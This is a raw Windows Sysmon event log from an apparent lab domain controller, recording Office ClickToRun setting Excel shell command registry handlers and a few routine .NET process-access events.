Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000040052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000040051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000040050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000040045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Template.8\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000040044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000040043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000040042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Printto\ddeexec\(Default)(Empty) 10341000x800000000000000040041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.768{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5A08-00000000F001}6380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 13241300x800000000000000040040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 10341000x800000000000000040039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.768{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5A08-00000000F001}6380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000040038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000040036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.768{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000040035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000040034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000040029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000040028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000040027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000040026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Printto\ddeexec\(Default)(Empty) 13241300x800000000000000040025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 13241300x800000000000000040024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.753{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000040022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000040021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000040020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000040015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000040014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excelhtmlfile\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" 13241300x800000000000000040013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000040012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000040011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Printto\ddeexec\(Default)(Empty) 13241300x800000000000000040010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 13241300x800000000000000040009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000040008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.737{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 10341000x800000000000000040007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.737{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F2D-613B-5908-00000000F001}6348C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 13241300x800000000000000040006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000040005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000040004Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000040003Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Open\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "%%1" 13241300x800000000000000040002Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\New\ddeexec\(Default)(Empty) 13241300x800000000000000040001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\New\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /n "%%1" 13241300x800000000000000040000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Edit\ddeexec\(Default)(Empty) 13241300x800000000000000039999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.SheetBinaryMacroEnabled.12\shell\Edit\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vu "%%1" 13241300x800000000000000039998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\ViewProtected\ddeexec\(Default)(Empty) 13241300x800000000000000039997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\ViewProtected\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /vp "%%1" 13241300x800000000000000039996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Printto\ddeexec\(Default)(Empty) 10341000x800000000000000039995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.721{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F2D-613B-5908-00000000F001}6348C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:57.721{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F2D-613B-5908-00000000F001}6348C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 13241300x800000000000000039993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.721{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Printto\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" /j "%%2" 13241300x800000000000000039992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Print\ddeexec\(Default)(Empty) 13241300x800000000000000039991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Print\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /q "%%1" 13241300x800000000000000039990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\OpenAsReadOnly\ddeexec\(Default)(Empty) 13241300x800000000000000039989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\OpenAsReadOnly\command\(Default)"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /h "%%1" 13241300x800000000000000039988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1122SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exeHKCR\Excel.Sheet.8\shell\Open\ddeexec\(Default)(Empty) 13241300x800000000000000039987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT1042SetValue2021-09-10 14:43:57.706{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\Microsoft 